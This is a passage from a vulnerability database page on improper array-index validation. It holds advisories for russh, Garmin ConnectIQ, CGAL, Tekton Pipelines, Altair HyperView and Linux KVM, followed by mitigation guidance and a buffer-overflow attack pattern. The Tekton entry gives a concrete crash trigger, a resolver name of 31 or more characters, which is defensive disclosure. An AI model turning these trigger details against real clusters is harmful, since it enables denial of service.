"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records"
}
GHSA-CR23-GW9G-5CWJ
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34Garmin Forerunner 235 before 8.20 is affected by: Array index error. The component is: ConnectIQ TVM. The attack vector is: To exploit the vulnerability, the attacker must upload a malicious ConnectIQ application to the ConnectIQ store. The ConnectIQ program interpreter trusts the offset provided for the stack value duplication instruction, DUP. The offset is unchecked and memory prior to the start of the execution stack can be read and treated as a TVM object. A successful exploit could use the vulnerability to leak runtime information such as the heap handle or pointer for a number of TVM context variables. Some reachable values may be controlled enough to forge a TVM object on the stack, leading to possible remote code execution.
{
"affected": [],
"aliases": [
"CVE-2020-27483"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-16T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Garmin Forerunner 235 before 8.20 is affected by: Array index error. The component is: ConnectIQ TVM. The attack vector is: To exploit the vulnerability, the attacker must upload a malicious ConnectIQ application to the ConnectIQ store. The ConnectIQ program interpreter trusts the offset provided for the stack value duplication instruction, DUP. The offset is unchecked and memory prior to the start of the execution stack can be read and treated as a TVM object. A successful exploit could use the vulnerability to leak runtime information such as the heap handle or pointer for a number of TVM context variables. Some reachable values may be controlled enough to forge a TVM object on the stack, leading to possible remote code execution.",
"id": "GHSA-cr23-gw9g-5cwj",
"modified": "2022-05-24T17:34:17Z",
"published": "2022-05-24T17:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27483"
},
{
"type": "WEB",
"url": "https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0007.md"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CRMM-XP9J-78M8
Vulnerability from github – Published: 2022-04-19 00:00 – Updated: 2022-04-24 00:00Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser::read_edge() eh->incident_sface().
{
"affected": [],
"aliases": [
"CVE-2020-28622"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-18T17:15:00Z",
"severity": "HIGH"
},
"details": "Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser\u003cEW\u003e::read_edge() eh-\u003eincident_sface().",
"id": "GHSA-crmm-xp9j-78m8",
"modified": "2022-04-24T00:00:30Z",
"published": "2022-04-19T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28622"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-34"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1225"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV4X-93XX-WGFJ
Vulnerability from github – Published: 2026-03-17 19:46 – Updated: 2026-03-25 18:26Summary
A user with permission to create or update a TaskRun or PipelineRun can crash the Tekton Pipelines controller by setting .spec.taskRef.resolver (or .spec.pipelineRef.resolver) to a string of 31 characters or more, causing a denial of service for all reconciliation.
Details
The controller panics in GenerateDeterministicNameFromSpec when building a deterministic ResolutionRequest name. The generated name has the format {resolver}-{hash} and, when the resolver name is long enough, the result exceeds the DNS-1123 label limit of 63 characters.
The truncation logic attempts to find a word boundary using strings.LastIndex(name, " "). Since the generated name never contains spaces (it is composed of the resolver name, a dash, and a hex-encoded hash), LastIndex returns -1, which is then used as a slice bound:
return name[:strings.LastIndex(name[:maxLength], " ")], nil
// strings.LastIndex returns -1 → panic: slice bounds out of range [:-1]
The panic crashes the controller. Because the offending TaskRun or PipelineRun is re-reconciled on restart, the controller enters a CrashLoopBackOff, blocking all TaskRun and PipelineRun reconciliation cluster-wide until the offending resource is manually deleted.
Built-in resolvers use short names (git, cluster, bundles, hub) and are not affected under normal usage. The vulnerability is exploitable by any user who can create TaskRuns or PipelineRuns with a custom resolver name.
Impact
Denial of service — A single malicious TaskRun or PipelineRun with a long resolver name is sufficient to crash the Tekton Pipelines controller into a restart loop, blocking all CI/CD reconciliation cluster-wide until the resource is removed.
Patches
Fixed in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, 1.10.2.
The fix computes the hash first, then truncates only the prefix (resolver name) to fit within the DNS-1123 label limit, preserving the full hash to maintain determinism and uniqueness of ResolutionRequest names.
Workarounds
Restrict who can create TaskRun and PipelineRun resources via Kubernetes RBAC. There is no validation-side workaround without patching.
Affected Versions
All releases from v0.60.0 through v1.10.0.
The vulnerable truncation logic was introduced in commit ea1fa7ad1fdc ("Remote Resolution Refactor"), first released in v0.60.0 (2024-05-22).
Currently supported affected releases: - v1.10.x (latest) - v1.9.x (LTS, EOL 2027-01-30) - v1.6.x (LTS, EOL 2026-10-31) - v1.3.x (LTS, EOL 2026-08-04) - v1.0.x (LTS, EOL 2026-04-29)
Releases prior to v0.60.0 are not affected — the truncation code did not exist.
Acknowledgments
This vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!
References
- Fix (main): 5eead3f859b9
- Fix (v1.10.x): 01673237c464
- Fix (v1.9.x): edc64bbf2232
- Fix (v1.6.x): 0fa2d66cff81
- Fix (v1.3.x): 5e4905fb6754
- Fix (v1.0.x): ebc197e2b973
- Introduced in:
ea1fa7ad1fdc("Remote Resolution Refactor")
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "0.60.0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.9.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33022"
],
"database_specific": {
"cwe_ids": [
"CWE-129",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:46:29Z",
"nvd_published_at": "2026-03-20T08:16:11Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA user with permission to create or update a TaskRun or PipelineRun can crash the Tekton Pipelines controller by setting `.spec.taskRef.resolver` (or `.spec.pipelineRef.resolver`) to a string of 31 characters or more, causing a denial of service for all reconciliation.\n\n### Details\n\nThe controller panics in `GenerateDeterministicNameFromSpec` when building a deterministic `ResolutionRequest` name. The generated name has the format `{resolver}-{hash}` and, when the resolver name is long enough, the result exceeds the DNS-1123 label limit of 63 characters.\n\nThe truncation logic attempts to find a word boundary using `strings.LastIndex(name, \" \")`. Since the generated name never contains spaces (it is composed of the resolver name, a dash, and a hex-encoded hash), `LastIndex` returns `-1`, which is then used as a slice bound:\n\n```go\nreturn name[:strings.LastIndex(name[:maxLength], \" \")], nil\n// strings.LastIndex returns -1 \u2192 panic: slice bounds out of range [:-1]\n```\n\nThe panic crashes the controller. Because the offending TaskRun or PipelineRun is re-reconciled on restart, the controller enters a `CrashLoopBackOff`, blocking all TaskRun and PipelineRun reconciliation cluster-wide until the offending resource is manually deleted.\n\nBuilt-in resolvers use short names (`git`, `cluster`, `bundles`, `hub`) and are not affected under normal usage. The vulnerability is exploitable by any user who can create TaskRuns or PipelineRuns with a custom resolver name.\n\n### Impact\n\n**Denial of service** \u2014 A single malicious TaskRun or PipelineRun with a long resolver name is sufficient to crash the Tekton Pipelines controller into a restart loop, blocking all CI/CD reconciliation cluster-wide until the resource is removed.\n\n### Patches\n\nFixed in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, 1.10.2.\n\nThe fix computes the hash first, then truncates only the prefix (resolver name) to fit within the DNS-1123 label limit, preserving the full hash to maintain determinism and uniqueness of `ResolutionRequest` names.\n\n### Workarounds\n\nRestrict who can create TaskRun and PipelineRun resources via Kubernetes RBAC. There is no validation-side workaround without patching.\n\n### Affected Versions\n\nAll releases from **v0.60.0** through **v1.10.0**.\n\nThe vulnerable truncation logic was introduced in commit `ea1fa7ad1fdc` (\"Remote Resolution Refactor\"), first released in v0.60.0 (2024-05-22).\n\nCurrently supported affected releases:\n- **v1.10.x** (latest)\n- **v1.9.x** (LTS, EOL 2027-01-30)\n- **v1.6.x** (LTS, EOL 2026-10-31)\n- **v1.3.x** (LTS, EOL 2026-08-04)\n- **v1.0.x** (LTS, EOL 2026-04-29)\n\nReleases prior to v0.60.0 are **not affected** \u2014 the truncation code did not exist.\n\n### Acknowledgments\n\nThis vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!\n\n### References\n\n- Fix (main): [5eead3f859b9](https://github.com/tektoncd/pipeline/commit/5eead3f859b9f938e86039e4d29185092c1d4ee6)\n- Fix (v1.10.x): [01673237c464](https://github.com/tektoncd/pipeline/commit/01673237c464cfac7e286183f5c9e9d6ec951a64)\n- Fix (v1.9.x): [edc64bbf2232](https://github.com/tektoncd/pipeline/commit/edc64bbf22323fcf218170f19047c9bcd8163e90)\n- Fix (v1.6.x): [0fa2d66cff81](https://github.com/tektoncd/pipeline/commit/0fa2d66cff814838c3a10cce252104c7fe618932)\n- Fix (v1.3.x): [5e4905fb6754](https://github.com/tektoncd/pipeline/commit/5e4905fb6754efa5ecea54de195738d73fb0e01d)\n- Fix (v1.0.x): [ebc197e2b973](https://github.com/tektoncd/pipeline/commit/ebc197e2b9733deedaa1624212ec66dcdf61eaaf)\n- Introduced in: `ea1fa7ad1fdc` (\"Remote Resolution Refactor\")",
"id": "GHSA-cv4x-93xx-wgfj",
"modified": "2026-03-25T18:26:47Z",
"published": "2026-03-17T19:46:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-cv4x-93xx-wgfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33022"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/01673237c464cfac7e286183f5c9e9d6ec951a64"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/0fa2d66cff814838c3a10cce252104c7fe618932"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/5e4905fb6754efa5ecea54de195738d73fb0e01d"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/5eead3f859b9f938e86039e4d29185092c1d4ee6"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/ebc197e2b9733deedaa1624212ec66dcdf61eaaf"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/commit/edc64bbf22323fcf218170f19047c9bcd8163e90"
},
{
"type": "PACKAGE",
"url": "https://github.com/tektoncd/pipeline"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Tekton Pipelines controller panic via long resolver name in TaskRun/PipelineRun"
}
GHSA-CVG8-5967-2RVW
Vulnerability from github – Published: 2022-12-13 21:30 – Updated: 2022-12-19 15:30Altair HyperView Player versions 2021.1.0.27 and prior are vulnerable to improper validation of array index vulnerability during processing of H3D files. A DWORD value from a PoC file is extracted and used as an index to write to a buffer, leading to memory corruption.
{
"affected": [],
"aliases": [
"CVE-2022-2951"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T21:15:00Z",
"severity": "HIGH"
},
"details": "Altair HyperView Player versions 2021.1.0.27 and prior are vulnerable to improper validation of array index vulnerability during processing of H3D files. A DWORD value from a PoC file is extracted and used as an index to write to a buffer, leading to memory corruption.",
"id": "GHSA-cvg8-5967-2rvw",
"modified": "2022-12-19T15:30:29Z",
"published": "2022-12-13T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2951"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-284-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWP6-92GH-H7H8
Vulnerability from github – Published: 2024-12-27 15:31 – Updated: 2025-01-16 18:30In the Linux kernel, the following vulnerability has been resolved:
riscv: kvm: Fix out-of-bounds array access
In kvm_riscv_vcpu_sbi_init() the entry->ext_idx can contain an out-of-bound index. This is used as a special marker for the base extensions, that cannot be disabled. However, when traversing the extensions, that special marker is not checked prior indexing the array.
Add an out-of-bounds check to the function.
{
"affected": [],
"aliases": [
"CVE-2024-53228"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T14:15:31Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: kvm: Fix out-of-bounds array access\n\nIn kvm_riscv_vcpu_sbi_init() the entry-\u003eext_idx can contain an\nout-of-bound index. This is used as a special marker for the base\nextensions, that cannot be disabled. However, when traversing the\nextensions, that special marker is not checked prior indexing the\narray.\n\nAdd an out-of-bounds check to the function.",
"id": "GHSA-cwp6-92gh-h7h8",
"modified": "2025-01-16T18:30:58Z",
"published": "2024-12-27T15:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53228"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/332fa4a802b16ccb727199da685294f85f9880cb"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3c49e1084a5df99807fc43dd318c491e6cbaa168"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b1af648f0d610665c956ea4604d9f797e5c7e991"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-7
Strategy: Input Validation
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Mitigation MIT-15
- For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Mitigation MIT-35
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-100: Overflow Buffers
Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.